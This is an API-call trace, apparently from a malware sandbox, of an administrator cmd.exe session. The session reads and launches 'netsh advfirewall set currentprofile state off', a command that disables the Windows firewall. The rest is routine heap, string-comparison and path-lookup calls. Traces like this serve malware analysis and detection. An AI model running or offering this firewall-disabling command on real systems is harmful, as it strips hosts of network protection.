	[0215.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7a, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0215.257] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.257] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.257] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7c, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0215.257] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.257] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.257] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7e, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0215.257] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.257] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.257] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c80, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0215.258] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.258] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.258] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c82, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0215.258] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.258] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.258] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c84, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0215.258] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.258] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.258] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0215.258] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.258] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.258] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c88, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0215.258] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.258] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.258] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c8a, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0215.258] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.258] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.258] ReadFile (in: hFile=0x244, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x80182ffcb8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0x80182ffcb8*=0x1, lpOverlapped=0x0) returned 1
	[0215.259] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c8c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0215.260] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.260] GetFileType (hFile=0x244) returned 0x3
	[0215.260] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.260] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.260] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.260] GetFileType (hFile=0x254) returned 0x3
	[0215.260] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48
	[0215.260] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x80182ffc58, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ffc58*=0x2f, lpOverlapped=0x0) returned 1
	[0215.260] GetProcessHeap () returned 0x1da87280000
	[0215.260] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x4012) returned 0x1da87288fe0
	[0215.260] GetProcessHeap () returned 0x1da87280000
	[0215.260] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288fe0) returned 1
	[0215.261] _wcsicmp (_String1="netsh", _String2=")") returned 69
	[0215.261] _wcsicmp (_String1="FOR", _String2="netsh") returned -8
	[0215.261] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8
	[0215.261] _wcsicmp (_String1="IF", _String2="netsh") returned -5
	[0215.261] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5
	[0215.261] _wcsicmp (_String1="REM", _String2="netsh") returned 4
	[0215.261] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4
	[0215.261] GetProcessHeap () returned 0x1da87280000
	[0215.261] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xb0) returned 0x1da87288380
	[0215.261] GetProcessHeap () returned 0x1da87280000
	[0215.261] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x1c) returned 0x1da872881b0
	[0215.261] GetProcessHeap () returned 0x1da87280000
	[0215.261] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x64) returned 0x1da87288440
	[0215.262] GetConsoleOutputCP () returned 0x1b5
	[0215.263] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0215.263] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0215.271] GetConsoleTitleW (in: lpConsoleTitle=0x80182ffaa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0215.316] malloc (_Size=0xffce) returned 0x1da874e0840
	[0215.316] ??_V@YAXPEAX@Z () returned 0x1da874e0840
	[0215.316] malloc (_Size=0xffce) returned 0x1da874f0820
	[0215.317] ??_V@YAXPEAX@Z () returned 0x1da874f0820
	[0215.317] _wcsicmp (_String1="netsh", _String2="DIR") returned 10
	[0215.317] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9
	[0215.317] _wcsicmp (_String1="netsh", _String2="DEL") returned 10
	[0215.317] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6
	[0215.317] _wcsicmp (_String1="netsh", _String2="COPY") returned 11
	[0215.317] _wcsicmp (_String1="netsh", _String2="CD") returned 11
	[0215.317] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11
	[0215.317] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4
	[0215.317] _wcsicmp (_String1="netsh", _String2="REN") returned -4
	[0215.317] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9
	[0215.317] _wcsicmp (_String1="netsh", _String2="SET") returned -5
	[0215.317] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2
	[0215.317] _wcsicmp (_String1="netsh", _String2="DATE") returned 10
	[0215.317] _wcsicmp (_String1="netsh", _String2="TIME") returned -6
	[0215.317] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2
	[0215.317] _wcsicmp (_String1="netsh", _String2="MD") returned 1
	[0215.318] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1
	[0215.318] _wcsicmp (_String1="netsh", _String2="RD") returned -4
	[0215.318] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4
	[0215.318] _wcsicmp (_String1="netsh", _String2="PATH") returned -2
	[0215.318] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7
	[0215.318] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5
	[0215.318] _wcsicmp (_String1="netsh", _String2="CLS") returned 11
	[0215.318] _wcsicmp (_String1="netsh", _String2="CALL") returned 11
	[0215.318] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8
	[0215.318] _wcsicmp (_String1="netsh", _String2="VER") returned -8
	[0215.318] _wcsicmp (_String1="netsh", _String2="VOL") returned -8
	[0215.318] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9
	[0215.318] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5
	[0215.318] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9
	[0215.318] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6
	[0215.318] _wcsicmp (_String1="netsh", _String2="START") returned -5
	[0215.318] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10
	[0215.318] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3
	[0215.318] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1
	[0215.318] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2
	[0215.318] _wcsicmp (_String1="netsh", _String2="POPD") returned -2
	[0215.318] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13
	[0215.318] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8
	[0215.318] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12
	[0215.318] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11
	[0215.318] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1
	[0215.318] _wcsicmp (_String1="netsh", _String2="DIR") returned 10
	[0215.318] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9
	[0215.318] _wcsicmp (_String1="netsh", _String2="DEL") returned 10
	[0215.318] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6
	[0215.318] _wcsicmp (_String1="netsh", _String2="COPY") returned 11
	[0215.318] _wcsicmp (_String1="netsh", _String2="CD") returned 11
	[0215.318] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11
	[0215.318] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4
	[0215.318] _wcsicmp (_String1="netsh", _String2="REN") returned -4
	[0215.318] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9
	[0215.318] _wcsicmp (_String1="netsh", _String2="SET") returned -5
	[0215.318] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2
	[0215.318] _wcsicmp (_String1="netsh", _String2="DATE") returned 10
	[0215.318] _wcsicmp (_String1="netsh", _String2="TIME") returned -6
	[0215.318] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2
	[0215.318] _wcsicmp (_String1="netsh", _String2="MD") returned 1
	[0215.318] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1
	[0215.318] _wcsicmp (_String1="netsh", _String2="RD") returned -4
	[0215.318] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4
	[0215.318] _wcsicmp (_String1="netsh", _String2="PATH") returned -2
	[0215.318] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7
	[0215.318] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5
	[0215.319] _wcsicmp (_String1="netsh", _String2="CLS") returned 11
	[0215.319] _wcsicmp (_String1="netsh", _String2="CALL") returned 11
	[0215.319] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8
	[0215.319] _wcsicmp (_String1="netsh", _String2="VER") returned -8
	[0215.319] _wcsicmp (_String1="netsh", _String2="VOL") returned -8
	[0215.319] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9
	[0215.319] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5
	[0215.319] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9
	[0215.319] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6
	[0215.319] _wcsicmp (_String1="netsh", _String2="START") returned -5
	[0215.319] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10
	[0215.319] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3
	[0215.319] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1
	[0215.319] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2
	[0215.319] _wcsicmp (_String1="netsh", _String2="POPD") returned -2
	[0215.319] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13
	[0215.319] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8
	[0215.319] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12
	[0215.319] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11
	[0215.319] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1
	[0215.319] _wcsicmp (_String1="netsh", _String2="FOR") returned 8
	[0215.319] _wcsicmp (_String1="netsh", _String2="IF") returned 5
	[0215.319] _wcsicmp (_String1="netsh", _String2="REM") returned -4
	[0215.319] ??_V@YAXPEAX@Z () returned 0x1
	[0215.319] GetProcessHeap () returned 0x1da87280000
	[0215.319] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xffde) returned 0x1da87288fe0
	[0215.320] GetProcessHeap () returned 0x1da87280000
	[0215.320] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x70) returned 0x1da87286c00
	[0215.320] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11
	[0215.320] malloc (_Size=0xffce) returned 0x1da874f0820
	[0215.320] ??_V@YAXPEAX@Z () returned 0x1da874f0820
	[0215.320] GetProcessHeap () returned 0x1da87280000
	[0215.320] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x1ffac) returned 0x1da87298fd0
	[0215.321] SetErrorMode (uMode=0x0) returned 0x0
	[0215.321] SetErrorMode (uMode=0x1) returned 0x0
	[0215.321] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1da87298fe0, lpFilePart=0x80182ff320 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x80182ff320*="system32") returned 0x13
	[0215.322] SetErrorMode (uMode=0x0) returned 0x1
	[0215.322] GetProcessHeap () returned 0x1da87280000
	[0215.322] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da87298fd0, Size=0x44) returned 0x1da87298fd0
	[0215.322] GetProcessHeap () returned 0x1da87280000
	[0215.322] RtlSizeHeap (HeapHandle=0x1da87280000, Flags=0x0, MemoryPointer=0x1da87298fd0) returned 0x44
	[0215.322] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0215.322] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0215.322] GetProcessHeap () returned 0x1da87280000
	[0215.322] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x1b4) returned 0x1da87286c80
	[0215.322] GetProcessHeap () returned 0x1da87280000
	[0215.322] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x358) returned 0x1da87299030
	[0215.327] GetProcessHeap () returned 0x1da87280000
	[0215.327] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da87299030, Size=0x1b6) returned 0x1da87299030
	[0215.327] GetProcessHeap () returned 0x1da87280000
	[0215.327] RtlSizeHeap (HeapHandle=0x1da87280000, Flags=0x0, MemoryPointer=0x1da87299030) returned 0x1b6
	[0215.327] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0215.327] GetProcessHeap () returned 0x1da87280000
	[0215.327] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xe8) returned 0x1da87286e40
	[0215.327] GetProcessHeap () returned 0x1da87280000
	[0215.327] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da87286e40, Size=0x7e) returned 0x1da87286e40
	[0215.327] GetProcessHeap () returned 0x1da87280000
	[0215.327] RtlSizeHeap (HeapHandle=0x1da87280000, Flags=0x0, MemoryPointer=0x1da87286e40) returned 0x7e
	[0215.327] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0215.327] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x80182ff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x80182ff090) returned 0x1da872884b0
	[0215.328] GetProcessHeap () returned 0x1da87280000
	[0215.328] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x0, Size=0x28) returned 0x1da87287d50
	[0215.328] FindClose (in: hFindFile=0x1da872884b0 | out: hFindFile=0x1da872884b0) returned 1
	[0215.328] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x80182ff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x80182ff090) returned 0xffffffffffffffff
	[0215.328] GetLastError () returned 0x2
	[0215.328] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x80182ff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x80182ff090) returned 0x1da872884b0
	[0215.328] GetProcessHeap () returned 0x1da87280000
	[0215.328] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da87287d50, Size=0x8) returned 0x1da87287d50
	[0215.328] FindClose (in: hFindFile=0x1da872884b0 | out: hFindFile=0x1da872884b0) returned 1
	[0215.328] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0215.328] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0215.328] ??_V@YAXPEAX@Z () returned 0x1
	[0215.328] GetConsoleTitleW (in: lpConsoleTitle=0x80182ff610, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0215.330] GetProcessHeap () returned 0x1da87280000
	[0215.330] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x21c) returned 0x1da87299200
	[0215.330] GetConsoleTitleW (in: lpConsoleTitle=0x1da87299210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0215.331] GetProcessHeap () returned 0x1da87280000
	[0215.331] RtlReAllocateHeap (Heap=0x1da87280000, Flags=0x0, Ptr=0x1da87299200, Size=0xd8) returned 0x1da87299200
	[0215.331] GetProcessHeap () returned 0x1da87280000
	[0215.331] RtlSizeHeap (HeapHandle=0x1da87280000, Flags=0x0, MemoryPointer=0x1da87299200) returned 0xd8
	[0215.332] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh  advfirewall set currentprofile state off") returned 1
	[0215.342] GetProcessHeap () returned 0x1da87280000
	[0215.342] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87299200) returned 1
	[0215.342] InitializeProcThreadAttributeList (in: lpAttributeList=0x80182ff530, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x80182ff420 | out: lpAttributeList=0x80182ff530, lpSize=0x80182ff420) returned 1
	[0215.342] UpdateProcThreadAttribute (in: lpAttributeList=0x80182ff530, dwFlags=0x0, Attribute=0x60001, lpValue=0x80182ff40c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x80182ff530, lpPreviousValue=0x0) returned 1
	[0215.342] GetStartupInfoW (in: lpStartupInfo=0x80182ff4c0 | out: lpStartupInfo=0x80182ff4c0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x244, hStdOutput=0x254, hStdError=0x254)) 
	[0215.342] GetProcessHeap () returned 0x1da87280000
	[0215.342] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x20) returned 0x1da872884b0
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0215.342] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0215.343] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0215.343] GetProcessHeap () returned 0x1da87280000
	[0215.343] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da872884b0) returned 1
	[0215.343] GetProcessHeap () returned 0x1da87280000
	[0215.343] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x12) returned 0x1da87288010
	[0215.343] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.343] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0215.343] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.343] SetConsoleMode (hConsoleHandle=0x244, dwMode=0x0) returned 0
